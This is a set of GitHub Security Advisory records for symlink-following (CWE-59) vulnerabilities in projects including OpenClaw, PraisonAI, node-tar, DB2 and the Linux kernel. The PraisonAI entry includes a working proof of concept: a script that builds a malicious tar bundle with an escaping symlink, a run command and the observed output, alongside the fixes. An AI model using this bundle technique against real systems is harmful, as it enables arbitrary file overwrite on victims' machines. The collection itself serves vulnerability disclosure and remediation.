CWE-59

{
  "affected": [],
  "aliases": [
    "CVE-2024-35254"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-11T17:16:03Z",
    "severity": "HIGH"
  },
  "details": "Azure Monitor Agent Elevation of Privilege Vulnerability",
  "id": "GHSA-9jw4-hxm9-mf52",
  "modified": "2024-06-11T18:30:50Z",
  "published": "2024-06-11T18:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35254"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-35254"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T19:02:59Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nA crafted local avatar path could follow a symlink outside the agent workspace and return arbitrary file contents as a base64 `data:` URL in gateway responses.\n\n## Impact\n- Confidentiality impact: local file read in the gateway process context.\n- Exfiltration path: `agents.list` can return the resulting `avatarUrl` payload.\n\n## Affected Components\n- `src/gateway/session-utils.ts` (`resolveIdentityAvatarUrl`)\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Introduced: `v2026.1.21`\n- Affected published versions: `\u003c= 2026.2.21-2`\n- Planned patched version: `2026.2.22`\n\n## Remediation\n- Resolve workspace and avatar paths with `realpath` and enforce realpath containment.\n- Open files with `O_NOFOLLOW` when available.\n- Compare pre-open and opened file identity (`dev`/`ino`) to block swap races.\n- Add regression tests for outside-workspace symlink rejection and in-workspace symlink allowance.\n\n## Fix Commit(s)\n- `3d0337504349954237d09e4d957df5cb844d5e77`\n\nOpenClaw thanks @aether-ai-agent for reporting.",
  "id": "GHSA-9mph-4f7v-fmvh",
  "modified": "2026-03-04T19:02:59Z",
  "published": "2026-03-04T19:02:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-9mph-4f7v-fmvh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/3d0337504349954237d09e4d957df5cb844d5e77"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw has agent avatar symlink traversal in gateway session metadata"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-25322"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59",
      "CWE-61"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-10T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "A UNIX Symbolic Link (Symlink) Following vulnerability in python-HyperKitty of openSUSE Leap 15.2, Factory allows local attackers to escalate privileges from the user hyperkitty or hyperkitty-admin to root. This issue affects: openSUSE Leap 15.2 python-HyperKitty version 1.3.2-lp152.2.3.1 and prior versions. openSUSE Factory python-HyperKitty versions prior to 1.3.4-5.1.",
  "id": "GHSA-9p78-xgfp-85mw",
  "modified": "2022-10-26T12:00:32Z",
  "published": "2022-05-24T19:04:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25322"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1182373"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-1780"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-11-09T01:29:00Z",
    "severity": "HIGH"
  },
  "details": "IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) 9.7, 10.1, 10.5, and 11.1 could allow a local db2 instance owner to obtain root access by exploiting a symbolic link attack to read/write/corrupt a file that they originally did not have permission to access. IBM X-Force ID: 148803.",
  "id": "GHSA-9p79-9g5p-r5v6",
  "modified": "2022-05-13T01:32:42Z",
  "published": "2022-05-13T01:32:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1780"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/148803"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=ibm10733939"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105885"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1042086"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2014-5045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-08-01T11:13:00Z",
    "severity": "MODERATE"
  },
  "details": "The mountpoint_last function in fs/namei.c in the Linux kernel before 3.15.8 does not properly maintain a certain reference count during attempts to use the umount system call in conjunction with a symlink, which allows local users to cause a denial of service (memory consumption or use-after-free) or possibly have unspecified other impact via the umount program.",
  "id": "GHSA-9pvv-pv37-92f4",
  "modified": "2025-04-12T12:36:17Z",
  "published": "2022-05-13T01:23:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5045"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/commit/295dc39d941dc2ae53d5c170365af4c9d5c16212"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1122472"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=295dc39d941dc2ae53d5c170365af4c9d5c16212"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=295dc39d941dc2ae53d5c170365af4c9d5c16212"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-0062.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/60353"
    },
    {
      "type": "WEB",
      "url": "http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.15.8"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2014/07/24/2"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/68862"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.36"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.37"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T13:59:41Z",
    "nvd_published_at": "2026-05-08T14:16:47Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `_safe_extractall` helper that all `recipe pull`, `recipe publish`, and `recipe unpack` flows route through validates each archive member\u0027s `name` for absolute paths, `..` segments, and resolved-path escape \u2014 but does **not** validate `member.linkname`, does not reject symlink/hardlink members, and calls `tar.extractall(dest_dir)` without `filter=\"data\"`. A bundle that contains a symlink with a name\ninside `dest_dir` but a `linkname` pointing outside it, followed by a regular file whose path traverses *through* the just-created symlink, escapes `dest_dir` and lets the attacker write arbitrary content to an attacker-chosen location on the victim\u0027s filesystem.\n\n## Affected paths\n\nEvery code path that calls `_safe_extractall` is exposed:\n\n| Caller | File:line |\n|---|---|\n| `praisonai recipe unpack` | `src/praisonai/praisonai/cli/features/recipe.py:1175` (introduced as the fix for GHSA-99g3-w8gr-x37c) |\n| `LocalRegistry.unpack` (recipe pull) | `src/praisonai/praisonai/recipe/registry.py:413` |\n| Registry archive validation (publish) | `src/praisonai/praisonai/recipe/registry.py:808` |\n\n## Root cause\n\n`recipe/registry.py:131-178`:\n\n```python\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -\u003e None:\n    ...\n    for member in tar.getmembers():\n        ...\n        member_path = Path(member.name)\n        if member_path.is_absolute(): raise RegistryError(...)\n        if \u0027..\u0027 in member_path.parts: raise RegistryError(...)\n        resolved = (dest_resolved / member_path).resolve()\n        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:\n            raise RegistryError(...)\n    # All members validated \u2014 safe to extract\n    tar.extractall(dest_dir)\n```\n\nThree gaps:\n\n1. The loop checks only `member.name`. `member.linkname` (the symlink / hardlink target) is not inspected.\n2. `member.issym()` and `member.islnk()` are not used to refuse link members at all.\n3. `tar.extractall(dest_dir)` runs without `filter=\"data\"`. On Python \u2264 3.13 the default is `fully_trusted` (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside `dest_dir`.\n\nWhen the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker\u0027s chosen location.\n\n## Reproduction\n\nTested in a disposable container against `praisonai==4.6.35` (`pip install praisonai`, no other modifications).\n\n`make_bundle.py`:\n\n```python\nimport io, json, tarfile\nmanifest = json.dumps({\"name\": \"legit\", \"version\": \"1.0.0\"}).encode()\nwith tarfile.open(\"malicious.praison\", \"w:gz\") as tar:\n    info = tarfile.TarInfo(\"manifest.json\"); info.size = len(manifest)\n    tar.addfile(info, io.BytesIO(manifest))\n\n    sym = tarfile.TarInfo(\"legit/escape\")\n    sym.type = tarfile.SYMTYPE\n    sym.linkname = \"/tmp/PWNED\"\n    tar.addfile(sym)\n\n    payload = b\"PWNED via symlink-extraction bypass of _safe_extractall\\n\"\n    pf = tarfile.TarInfo(\"legit/escape/owned.txt\"); pf.size = len(payload)\n    tar.addfile(pf, io.BytesIO(payload))\n```\n\n`direct_test.py`:\n\n```python\nimport shutil, tarfile\nfrom pathlib import Path\nfrom praisonai.recipe.registry import _safe_extractall\n\nDEST = Path(\"/work/recipes_direct\")\nshutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True)\nPath(\"/tmp/PWNED\").mkdir(parents=True, exist_ok=True)\n\nwith tarfile.open(\"malicious.praison\", \"r:gz\") as tar:\n    _safe_extractall(tar, DEST)\n\nassert Path(\"/tmp/PWNED/owned.txt\").exists(), \"did not escape\"\nprint(\"PWNED:\", Path(\"/tmp/PWNED/owned.txt\").read_text())\n```\n\nRun:\n\n```bash\ndocker run --rm -v \"$PWD:/work\" -w /work python:3.11-slim sh -c \u0027\n  pip install -q praisonai \u0026\u0026\n  python make_bundle.py \u0026\u0026\n  python direct_test.py\n\u0027\n```\n\nObserved output:\n\n```\n_safe_extractall returned cleanly\nPWNED: PWNED via symlink-extraction bypass of _safe_extractall\n```\n\n`/tmp/PWNED/owned.txt` exists after the call returns, written outside the destination directory the helper was asked to extract into.\n\n## Impact\n\nArbitrary file write with attacker-controlled content to an attacker-chosen path, on every host that processes a malicious `.praison` bundle through any of the three callers above.\n\nRealistic exploitation paths:\n\n- A user runs `praisonai recipe unpack ./\u003cmalicious\u003e.praison` after obtaining the bundle from a shared registry, a tutorial link, or\n  direct messaging.\n- A user runs `praisonai recipe pull \u003cname\u003e` against a malicious or compromised registry.\n- A registry server processes an uploaded `.praison` bundle (the publish path is reachable over the network if the server is exposed. per GHSA-r9x3-wx45-2v7f and GHSA-2xgv-5cv2-47vv).\n\nWhere the agent process runs as a regular user, the attacker can overwrite shell config (`.bashrc`, `.zshrc`, `.profile`), SSH `authorized_keys`, cron entries, or project files in adjacent directories. Where the process runs as root (registry-server deployments and some `sudo`-launched workflows), the attacker controls arbitrary system files.\n\nThis re-opens the `recipe pull`, `recipe publish`, and `recipe unpack` paths that GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, and GHSA-4ph2-f6pf-79wv were each intended to close.\n\n## Suggested remediation\n\nSingle-line fix at `recipe/registry.py:178`:\n\n```python\ntar.extractall(dest_dir, filter=\"data\")\n```\n\n`filter=\"data\"` (introduced in Python 3.12; available as a backport on 3.8+ via the official PEP 706 reference implementation) refuses\nsymlinks, hardlinks, device nodes, and absolute or escaping link targets, it is the canonical Python defense against this class.\nIf you also support older Python, add an explicit guard inside the existing per-member loop before `tar.extractall`:\n\n```python\nif member.issym() or member.islnk():\n    link_target = (dest_resolved / member_path.parent / member.linkname).resolve()\n    if member.linkname.startswith(\"/\") or not str(link_target).startswith(str(dest_resolved) + os.sep):\n        raise RegistryError(\n            f\"Refusing to extract link with target outside dest dir: \"\n            f\"{member.name} -\u003e {member.linkname}\"\n        )\n```\n\n## Affected versions\n\n`praisonai \u003e= 2.7.2` through current `4.6.35` (the helper exists at least back to the earliest path-traversal patch chain referenced in\nGHSA-99g3-w8gr-x37c). All releases that route extraction through `_safe_extractall` are exposed.\n\n## Disclosure\n\nReported privately via the project\u0027s GHSA workflow at\nhttps://github.com/MervinPraison/PraisonAI/security/advisories/new\n\n-- Dhiral Vyas",
  "id": "GHSA-9q28-ghcr-c4x3",
  "modified": "2026-05-11T13:59:41Z",
  "published": "2026-05-11T13:59:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9q28-ghcr-c4x3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44340"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PraisonAI\u0027s symlink-extraction bypass of `_safe_extractall` writes outside `dest_dir`"
}

{
  "affected": [],
  "aliases": [
    "CVE-2010-3879"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-01-22T22:00:00Z",
    "severity": "MODERATE"
  },
  "details": "FUSE, possibly 2.8.5 and earlier, allows local users to create mtab entries with arbitrary pathnames, and consequently unmount any filesystem, via a symlink attack on the parent directory of the mountpoint of a FUSE filesystem, a different vulnerability than CVE-2010-0789.",
  "id": "GHSA-9qwx-j72c-6hr4",
  "modified": "2025-04-11T03:43:19Z",
  "published": "2022-05-13T01:13:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-3879"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/bugs/670622"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.novell.com/show_bug.cgi?id=651598"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=651183"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/62986"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=602333"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-February/053792.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.grok.org.uk/pipermail/full-disclosure/2010-November/077247.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2011-04/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "http://openwall.com/lists/oss-security/2010/11/04/8"
    },
    {
      "type": "WEB",
      "url": "http://openwall.com/lists/oss-security/2010/11/05/2"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/70520"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42961"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42965"
    },
    {
      "type": "WEB",
      "url": "http://www.halfdog.net/Security/FuseTimerace"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2013:155"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/44623"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1045-1"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1045-2"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/0181"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/0302"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "4.4.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-37701"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-31T16:01:50Z",
    "nvd_published_at": "2021-08-31T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\n`node-tar` aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.\n\nThis logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both `\\` and `/` characters as path separators, however `\\` is a valid filename character on posix systems.\n\nBy first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.\n\nAdditionally, a similar confusion could arise on case-insensitive filesystems.  If a tar archive contained a directory at `FOO`, followed by a symbolic link named `foo`, then on case-insensitive file systems, the creation of the symbolic link would remove the directory from the filesystem, but _not_ from the internal directory cache, as it would not be treated as a cache hit.  A subsequent file entry within the `FOO` directory would then be placed in the target of the symbolic link, thinking that the directory had already been created. \n\nThese issues were addressed in releases 4.4.16, 5.0.8 and 6.1.7.\n\nThe v3 branch of `node-tar` has been deprecated and did not receive patches for these issues. If you are still using a v3 release we recommend you update to a more recent version of `node-tar`. If this is not possible, a workaround is available below.\n\n### Patches\n\n4.4.16 || 5.0.8 || 6.1.7\n\n### Workarounds\n\nUsers may work around this vulnerability without upgrading by creating a custom filter method which prevents the extraction of symbolic links.\n\n```js\nconst tar = require(\u0027tar\u0027)\n\ntar.x({\n  file: \u0027archive.tgz\u0027,\n  filter: (file, entry) =\u003e {\n    if (entry.type === \u0027SymbolicLink\u0027) {\n      return false\n    } else {\n      return true\n    }\n  }\n})\n```\n\nUsers are encouraged to upgrade to the latest patched versions, rather than attempt to sanitize tar input themselves.\n\n### Fix\n\nThe problem is addressed in the following ways:\n\n1. All paths are normalized to use `/` as a path separator, replacing `\\` with `/` on Windows systems, and leaving `\\` intact in the path on posix systems.  This is performed in depth, at every level of the program where paths are consumed.\n2. Directory cache pruning is performed case-insensitively.  This _may_ result in undue cache misses on case-sensitive file systems, but the performance impact is negligible.\n\n#### Caveat\n\nNote that this means that the `entry` objects exposed in various parts of tar\u0027s API will now always use `/` as a path separator, even on Windows systems.  This is not expected to cause problems, as `/` is a valid path separator on Windows systems, but _may_ result in issues if `entry.path` is compared against a path string coming from some other API such as `fs.realpath()` or `path.resolve()`.\n\nUsers are encouraged to always normalize paths using a well-tested method such as `path.resolve()` before comparing paths to one another.",
  "id": "GHSA-9r2w-394v-53qc",
  "modified": "2021-08-31T16:01:50Z",
  "published": "2021-08-31T16:05:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/npm/node-tar/security/advisories/GHSA-9r2w-394v-53qc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37701"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/npm/node-tar"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/12/msg00023.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-5008"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/tar"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links"
}

{
  "affected": [],
  "aliases": [
    "CVE-2014-4480"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-01-30T11:59:00Z",
    "severity": "HIGH"
  },
  "details": "Directory traversal vulnerability in afc in AppleFileConduit in Apple iOS before 8.1.3 and Apple TV before 7.0.3 allows attackers to access unintended filesystem locations by creating a symlink.",
  "id": "GHSA-9r34-x38v-77c4",
  "modified": "2022-05-14T01:26:15Z",
  "published": "2022-05-14T01:26:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-4480"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2015/Jan/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2015/Jan/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "http://support.apple.com/HT204245"
    },
    {
      "type": "WEB",
      "url": "http://support.apple.com/HT204246"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/72334"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1031652"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-4936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-11-05T15:00:00Z",
    "severity": "MODERATE"
  },
  "details": "faxspool in mgetty 1.1.36 allows local users to overwrite arbitrary files via a symlink attack on a /tmp/faxsp.##### temporary file.",
  "id": "GHSA-9r8x-j9wv-wvqv",
  "modified": "2022-05-17T02:18:33Z",
  "published": "2022-05-17T02:18:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4936"
    },
    {
      "type": "WEB",
      "url": "https://bugs.gentoo.org/show_bug.cgi?id=235770"
    },
    {
      "type": "WEB",
      "url": "https://bugs.gentoo.org/show_bug.cgi?id=235806"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44833"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/496403"
    },
    {
      "type": "WEB",
      "url": "http://dev.gentoo.org/~rbu/security/debiantemp/mgetty-fax"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33051"
    },
    {
      "type": "WEB",
      "url": "http://security.gentoo.org/glsa/glsa-200812-08.xml"
    },
    {
      "type": "WEB",
      "url": "http://uvw.ru/report.lenny.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2008/10/30/2"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/30927"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}